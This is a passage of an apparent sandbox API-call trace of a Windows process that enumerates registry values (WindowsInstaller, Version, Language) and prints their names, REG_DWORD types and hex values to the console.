_Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.299] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.299] __iob_func () returned 0x7fefd702a80 [0148.299] _fileno (_File=0x7fefd702ab0) returned 1 [0148.299] _errno () returned 0xc4bb0 [0148.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.300] _errno () returned 0xc4bb0 [0148.300] GetFileType (hFile=0x50) returned 0x1 [0148.300] lstrlenW (lpString=" ") returned 4 [0148.300] GetConsoleOutputCP () returned 0x1b5 [0148.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.300] GetConsoleOutputCP () returned 0x1b5 [0148.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.300] __iob_func () returned 0x7fefd702a80 [0148.300] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.300] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0148.300] _fileno (_File=0x7fefd702ab0) returned 1 [0148.300] _errno () returned 0xc4bb0 [0148.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.300] _errno () returned 0xc4bb0 [0148.300] GetFileType (hFile=0x50) returned 0x1 [0148.300] lstrlenW (lpString="0x0") returned 3 [0148.300] GetConsoleOutputCP () returned 0x1b5 [0148.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.300] GetConsoleOutputCP () returned 0x1b5 [0148.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0148.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.301] __iob_func () returned 0x7fefd702a80 [0148.301] _fileno (_File=0x7fefd702ab0) returned 1 [0148.301] _errno () returned 0xc4bb0 [0148.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.301] _errno () returned 0xc4bb0 [0148.301] GetFileType (hFile=0x50) returned 0x1 [0148.301] lstrlenW (lpString="\n") returned 1 [0148.301] GetConsoleOutputCP () returned 0x1b5 [0148.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.301] GetConsoleOutputCP () returned 0x1b5 [0148.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.301] GetProcessHeap () returned 0x2e0000 [0148.301] GetProcessHeap () returned 0x2e0000 [0148.301] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.301] GetProcessHeap () returned 0x2e0000 [0148.301] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.301] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.302] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.302] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.302] GetProcessHeap () returned 0x2e0000 [0148.302] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.302] GetProcessHeap () returned 0x2e0000 [0148.302] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.302] GetProcessHeap () returned 0x2e0000 [0148.302] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.302] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.302] __iob_func () returned 0x7fefd702a80 [0148.302] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.302] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.302] _fileno (_File=0x7fefd702ab0) returned 1 [0148.302] _errno () returned 0xc4bb0 [0148.302] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.302] _errno () returned 0xc4bb0 [0148.302] GetFileType (hFile=0x50) returned 0x1 [0148.302] lstrlenW (lpString=" ") returned 4 [0148.302] GetConsoleOutputCP () returned 0x1b5 [0148.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.302] GetConsoleOutputCP () returned 0x1b5 [0148.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.302] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.302] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.302] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.302] __iob_func () returned 0x7fefd702a80 [0148.302] _fileno (_File=0x7fefd702ab0) returned 1 [0148.303] _errno () returned 0xc4bb0 [0148.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.303] _errno () returned 0xc4bb0 [0148.303] GetFileType (hFile=0x50) returned 0x1 [0148.303] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.303] GetConsoleOutputCP () returned 0x1b5 [0148.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.303] GetConsoleOutputCP () returned 0x1b5 [0148.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0148.303] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0148.303] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.303] __iob_func () returned 0x7fefd702a80 [0148.303] _fileno (_File=0x7fefd702ab0) returned 1 [0148.303] _errno () returned 0xc4bb0 [0148.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.303] _errno () returned 0xc4bb0 [0148.303] GetFileType (hFile=0x50) returned 0x1 [0148.303] lstrlenW (lpString=" ") returned 4 [0148.303] GetConsoleOutputCP () returned 0x1b5 [0148.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.303] GetConsoleOutputCP () returned 0x1b5 [0148.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.304] __iob_func () returned 0x7fefd702a80 [0148.304] _fileno (_File=0x7fefd702ab0) returned 1 [0148.304] _errno () returned 0xc4bb0 [0148.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.304] _errno () returned 0xc4bb0 [0148.304] GetFileType (hFile=0x50) returned 0x1 [0148.304] lstrlenW (lpString="REG_DWORD") returned 9 [0148.304] GetConsoleOutputCP () returned 0x1b5 [0148.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.304] GetConsoleOutputCP () returned 0x1b5 [0148.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.304] __iob_func () returned 0x7fefd702a80 [0148.304] _fileno (_File=0x7fefd702ab0) returned 1 [0148.304] _errno () returned 0xc4bb0 [0148.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.304] _errno () returned 0xc4bb0 [0148.304] GetFileType (hFile=0x50) returned 0x1 [0148.304] lstrlenW (lpString=" ") returned 4 [0148.304] GetConsoleOutputCP () returned 0x1b5 [0148.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.305] GetConsoleOutputCP () returned 0x1b5 [0148.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.305] __iob_func () returned 0x7fefd702a80 [0148.305] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.305] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.305] _fileno (_File=0x7fefd702ab0) returned 1 [0148.305] _errno () returned 0xc4bb0 [0148.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.305] _errno () returned 0xc4bb0 [0148.305] GetFileType (hFile=0x50) returned 0x1 [0148.305] lstrlenW (lpString="0x1") returned 3 [0148.305] GetConsoleOutputCP () returned 0x1b5 [0148.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.305] GetConsoleOutputCP () returned 0x1b5 [0148.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.305] __iob_func () returned 0x7fefd702a80 [0148.305] _fileno (_File=0x7fefd702ab0) returned 1 [0148.305] _errno () returned 0xc4bb0 [0148.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.306] _errno () returned 0xc4bb0 [0148.306] GetFileType (hFile=0x50) returned 0x1 [0148.306] lstrlenW (lpString="\n") returned 1 [0148.306] GetConsoleOutputCP () returned 0x1b5 [0148.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.306] GetConsoleOutputCP () returned 0x1b5 [0148.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.306] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.306] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.306] GetProcessHeap () returned 0x2e0000 [0148.306] GetProcessHeap () returned 0x2e0000 [0148.306] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.306] GetProcessHeap () returned 0x2e0000 [0148.306] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.306] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.306] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.306] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.306] GetProcessHeap () returned 0x2e0000 [0148.306] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.306] GetProcessHeap () returned 0x2e0000 [0148.306] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.306] GetProcessHeap () returned 0x2e0000 [0148.306] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.306] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xc00520d, pcbData=0x23f670*=0x4) returned 0x0 [0148.306] __iob_func () returned 0x7fefd702a80 [0148.306] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.307] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.307] _fileno (_File=0x7fefd702ab0) returned 1 [0148.307] _errno () returned 0xc4bb0 [0148.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.307] _errno () returned 0xc4bb0 [0148.307] GetFileType (hFile=0x50) returned 0x1 [0148.307] lstrlenW (lpString=" ") returned 4 [0148.307] GetConsoleOutputCP () returned 0x1b5 [0148.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.307] GetConsoleOutputCP () returned 0x1b5 [0148.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.307] lstrlenW (lpString="Version") returned 7 [0148.307] __iob_func () returned 0x7fefd702a80 [0148.307] _fileno (_File=0x7fefd702ab0) returned 1 [0148.307] _errno () returned 0xc4bb0 [0148.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.307] _errno () returned 0xc4bb0 [0148.307] GetFileType (hFile=0x50) returned 0x1 [0148.307] lstrlenW (lpString="Version") returned 7 [0148.307] GetConsoleOutputCP () returned 0x1b5 [0148.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.307] GetConsoleOutputCP () returned 0x1b5 [0148.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0148.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.308] __iob_func () returned 0x7fefd702a80 [0148.308] _fileno (_File=0x7fefd702ab0) returned 1 [0148.308] _errno () returned 0xc4bb0 [0148.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.308] _errno () returned 0xc4bb0 [0148.308] GetFileType (hFile=0x50) returned 0x1 [0148.308] lstrlenW (lpString=" ") returned 4 [0148.308] GetConsoleOutputCP () returned 0x1b5 [0148.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.308] GetConsoleOutputCP () returned 0x1b5 [0148.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.308] __iob_func () returned 0x7fefd702a80 [0148.308] _fileno (_File=0x7fefd702ab0) returned 1 [0148.308] _errno () returned 0xc4bb0 [0148.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.308] _errno () returned 0xc4bb0 [0148.308] GetFileType (hFile=0x50) returned 0x1 [0148.308] lstrlenW (lpString="REG_DWORD") returned 9 [0148.308] GetConsoleOutputCP () returned 0x1b5 [0148.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.309] GetConsoleOutputCP () returned 0x1b5 [0148.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.309] __iob_func () returned 0x7fefd702a80 [0148.309] _fileno (_File=0x7fefd702ab0) returned 1 [0148.309] _errno () returned 0xc4bb0 [0148.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.309] _errno () returned 0xc4bb0 [0148.309] GetFileType (hFile=0x50) returned 0x1 [0148.309] lstrlenW (lpString=" ") returned 4 [0148.309] GetConsoleOutputCP () returned 0x1b5 [0148.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.309] GetConsoleOutputCP () returned 0x1b5 [0148.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.309] __iob_func () returned 0x7fefd702a80 [0148.309] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.310] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xc00520d") returned 9 [0148.310] _fileno (_File=0x7fefd702ab0) returned 1 [0148.310] _errno () returned 0xc4bb0 [0148.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.310] _errno () returned 0xc4bb0 [0148.310] GetFileType (hFile=0x50) returned 0x1 [0148.310] lstrlenW (lpString="0xc00520d") returned 9 [0148.310] GetConsoleOutputCP () returned 0x1b5 [0148.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.310] GetConsoleOutputCP () returned 0x1b5 [0148.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc00520d", lpUsedDefaultChar=0x0) returned 9 [0148.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.310] __iob_func () returned 0x7fefd702a80 [0148.310] _fileno (_File=0x7fefd702ab0) returned 1 [0148.310] _errno () returned 0xc4bb0 [0148.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.310] _errno () returned 0xc4bb0 [0148.310] GetFileType (hFile=0x50) returned 0x1 [0148.310] lstrlenW (lpString="\n") returned 1 [0148.310] GetConsoleOutputCP () returned 0x1b5 [0148.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.310] GetConsoleOutputCP () returned 0x1b5 [0148.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.311] GetProcessHeap () returned 0x2e0000 [0148.311] GetProcessHeap () returned 0x2e0000 [0148.311] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.311] GetProcessHeap () returned 0x2e0000 [0148.311] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.311] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.311] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.311] GetProcessHeap () returned 0x2e0000 [0148.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.311] GetProcessHeap () returned 0x2e0000 [0148.311] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.311] GetProcessHeap () returned 0x2e0000 [0148.311] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.311] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0148.311] __iob_func () returned 0x7fefd702a80 [0148.311] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.311] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.311] _fileno (_File=0x7fefd702ab0) returned 1 [0148.311] _errno () returned 0xc4bb0 [0148.311] 